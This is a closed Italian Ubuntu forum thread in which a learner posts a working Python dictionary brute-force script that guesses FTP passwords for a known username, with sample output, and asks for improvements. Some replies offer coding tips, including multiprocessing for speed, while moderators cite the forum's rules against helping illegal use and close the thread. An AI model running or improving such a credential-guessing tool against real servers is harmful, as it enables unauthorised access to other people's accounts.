[Python] Come posso migliorare questo piccolo script?

Linguaggi di programmazione: php, perl, python, C, bash e tutti gli altri.
Chiusa
Avatar utente
blackdiamond
Scoppiettante Seguace
Scoppiettante Seguace
Messaggi: 702
Iscrizione: sabato 17 marzo 2007, 17:05
Località: Milano

[Python] Come posso migliorare questo piccolo script?

Messaggio da blackdiamond »

Buongiorno a tutti, complice la cassa integrazione ed il maggiore tempo libero a disposizione mi sono messo ad imparare python, attraverso guide, tutorial, etc..
Seguendo uno di questi sono giunto a realizzare un piccolissimo script per trovare la password di un server FTP , conoscendone a priori l'username.
Si tratta di un bruteforce basato su un dizionario. Ho un piccolo dubbio. Presupposto che così come è, è molto ma molto lento e devo sicuramente aggiungere ora il multithread, se utilizzo un dizionario in cui non è presente la password, come potrei implementarlo nello script?

questo è lo script:

Codice: Seleziona tutto

import ftplib
from colorama import Fore, init, Back, Style

print('This is a simple bruteforce script against FTP Servers...')

host = input('Inserire host del server FTP: ')
user = input('Inserire username: ')
port = int(input('Inserire porta [Default is set to 21]: '))

#creo una funzione che accetta una password come argomento e ritorna se le credenziali sono corrette

def password_is_correct(password):
    server = ftplib.FTP()
    print(f"[!]Trying:",password)
    try:
        server.connect(host, port, timeout=5)
        server.login(user, password)
    except ftplib.error_perm:
        return False
    else:
        print(f"{Fore.BLACK}{Back.GREEN}[+] Found credentials! {user}:{password}", Fore.RESET,Back.RESET)
        return True

#ora faccio leggere la lista delle password

dictionary = input('Insert the dictionary path: ')
passwords = open(dictionary, encoding='latin-1').read().split('\n')
print(f'[+] Passwords to try: {len(passwords)} passwords') 

#creo un ciclo di for e se la password viene trovata fermo il ciclo

for password in passwords:
    if password_is_correct(password):
        break
Testato funziona correttamente. Se la password non è presente nel dizionario lo script si conclude con un:

Codice: Seleziona tutto

Insert the dictionary path: /home/fabio/test.txt
[+] Passwords to try: 12 passwords
[!]Trying: 2345678
[!]Trying: abc123
[!]Trying: nicole
[!]Trying: daniel
[!]Trying: babygirl
[!]Trying: monkey
[!]Trying: lovely
[!]Trying: jessica
[!]Trying: 654321
[!]Trying: michael
[!]Trying: 
Voi come lo implementereste? Vorrei fargli stampare a schermo che se non trova password nel file dizionario magari stampa a schermo qualcosa tipo:

Codice: Seleziona tutto

print('La password non è stata trovata nel dizionario, prova ad implementarlo o ad usarne uno più performante')
Ora non mi interessa tanto sapere l'utilità di questo script ma quanto proprio incrementarlo in tal senso.
A naso farei qualcosa del tipo:

Codice: Seleziona tutto

if password not in passwords:
print('La password non è stata trovata nel dizionario, prova ad implementarlo o ad usarne uno più performante')
Ma a logica non riesco proprio a capire dove posso mettere ciò.. E' una domanda magari stupida, mi piacerebbe avere vostri consigli.. Vi ringrazio anticipatamente per il tempo che mi dedicherete! :birra:
Avatar utente
steff
Moderatore Globale
Moderatore Globale
Messaggi: 40299
Iscrizione: domenica 18 febbraio 2007, 19:48
Desktop: LXQt+labwc
Distribuzione: Arch; Debian; Ubuntu Server
Sesso: Maschile
Località: Toscana
Contatti:

Re: [Python] Come posso migliorare questo piccolo script?

Messaggio da steff »

Ho la sensazione che questo tuo esercizio non è tanto in linea con il regolamento del forum:
app.php/rules?sid=7e801baa02938e2d8e33d0fd60f192c6
Hai fatto un backup oggi? Ieri?? Quando???
La Documentazione da consultare e la FAQ sul uso del forum
Sistemi: LXQt - semplice, modulare e configurabile + *ubuntu in Vbox
Avatar utente
Alien321
Entusiasta Emergente
Entusiasta Emergente
Messaggi: 1388
Iscrizione: sabato 20 maggio 2006, 20:39
Desktop: KDE 5.16.4
Distribuzione: KDE Neon
Località: Venere

Re: [Python] Come posso migliorare questo piccolo script?

Messaggio da Alien321 »

steff ha scritto:
domenica 21 marzo 2021, 14:58
Ho la sensazione che questo tuo esercizio non è tanto in linea con il regolamento del forum:
app.php/rules?sid=7e801baa02938e2d8e33d0fd60f192c6
Per curiosità, in che sezione è detto che non si può fare?
Spoiler
Mostra
Finalmente è finito carnevale, anche se vedo ancora gente in maschera
Avatar utente
Alien321
Entusiasta Emergente
Entusiasta Emergente
Messaggi: 1388
Iscrizione: sabato 20 maggio 2006, 20:39
Desktop: KDE 5.16.4
Distribuzione: KDE Neon
Località: Venere

Re: [Python] Come posso migliorare questo piccolo script?

Messaggio da Alien321 »

blackdiamond ha scritto:
sabato 20 marzo 2021, 21:28

Voi come lo implementereste? Vorrei fargli stampare a schermo che se non trova password nel file dizionario magari stampa a schermo qualcosa tipo:

Codice: Seleziona tutto

for password in passwords:
    if password_is_correct(password):
        exit
print('La password non è stata trovata nel dizionario, prova ad implementarlo o ad usarne uno più performante')
Cosi? Proprio terra terra
Spoiler
Mostra
Finalmente è finito carnevale, anche se vedo ancora gente in maschera
Avatar utente
nuzzopippo
Entusiasta Emergente
Entusiasta Emergente
Messaggi: 1624
Iscrizione: giovedì 12 ottobre 2006, 11:34

Re: [Python] Come posso migliorare questo piccolo script?

Messaggio da nuzzopippo »

Alien321 ha scritto:
domenica 21 marzo 2021, 15:35
steff ha scritto:
domenica 21 marzo 2021, 14:58
Ho la sensazione che questo tuo esercizio non è tanto in linea con il regolamento del forum:
app.php/rules?sid=7e801baa02938e2d8e33d0fd60f192c6
Per curiosità, in che sezione è detto che non si può fare?
Sez. IV - punto xii
Rifiutare l'aiuto, viceversa, a qualunque richiesta tendente all'uso illegale di software. #
datosi che si parla di "bruteforce", la "sensazione" non mi sembra inspiegabile.

Riguardo "la lentezza", lo O.P. dovrebbe tener presente che ogni singola verifica richiede sia effettuata una connessione e successiva valutazione della risposta, non si può certo pretendere una scheggia di processo.
Fatti non foste a viver come bruti ...
Avatar utente
vaeVictis
Imperturbabile Insigne
Imperturbabile Insigne
Messaggi: 4703
Iscrizione: venerdì 27 luglio 2012, 17:58
Desktop: Gnome
Distribuzione: Ubuntu 20.04 64bit

Re: [Python] Come posso migliorare questo piccolo script?

Messaggio da vaeVictis »

A mio avviso non viola il regolamento. È una versione un po' più arzigogolata di "indovina la parola".

Ciò premesso, in attesa di decisione, eviterei di mettere tutto il file dizionario in una variabile. I file in Python sono iterabili. Itera sul file. Possibilmente aprendolo con la sintassi with/as.
Inoltre lascia perdere il multithreading e vai di multiprocessing
Pirates arrrrrrrrrrr awesome!!!
«I fear not the man who has practiced 10000 kicks once,
but I fear the man who has practiced one kick 10000 times.»
Avatar utente
UbuNuovo
Imperturbabile Insigne
Imperturbabile Insigne
Messaggi: 4433
Iscrizione: sabato 12 dicembre 2009, 20:58
Desktop: Mate
Distribuzione: Ubuntu Mate 22.04.1 LTS
Sesso: Maschile
Contatti:

Re: [Python] Come posso migliorare questo piccolo script?

Messaggio da UbuNuovo »

Copiare il codice non è scrivere il codice:
https://www.thepythoncode.com/code/brut ... -in-python
A parte questo, si parla di violare un server FTP, quindi è inutile cercare aiuto qua.
Salva l'Ucraina! 🇺🇦
Avatar utente
blackdiamond
Scoppiettante Seguace
Scoppiettante Seguace
Messaggi: 702
Iscrizione: sabato 17 marzo 2007, 17:05
Località: Milano

Re: [Python] Come posso migliorare questo piccolo script?

Messaggio da blackdiamond »

Mi scuso innanzitutto per non avere letto il regolamento lo ammetto...sono stato ingenuo perchè nella mia mente c'era solo l'idea di imparare il codice e nulla più.. quello del bruteforce è semplicemente un tutorial tra i tanti che ho seguito..Ma sono consapevole che possa dare adito a fraintendimenti..
Avatar utente
giulux
Amministratore
Amministratore
Messaggi: 25422
Iscrizione: domenica 10 gennaio 2010, 12:17
Desktop: ubuntu 18.04
Distribuzione: Ubuntu 18.04.3 LTS x86_64
Sesso: Maschile
Località: Roma

Re: [Python] Come posso migliorare questo piccolo script?

Messaggio da giulux »

Spiacente, ma purtroppo la legge è legge.
Chiarite le cose, si chiude.
Se ti servirà aiuto per cose meno problematiche siamo sempre qui.
"Non è una segno di buona salute l'essere ben adattato ad una società malata". (Jiddu Krishnarmurti)
Chiusa

Ritorna a “Programmazione”

Chi c’è in linea

Visualizzano questa sezione: 0 utenti iscritti e 15 ospiti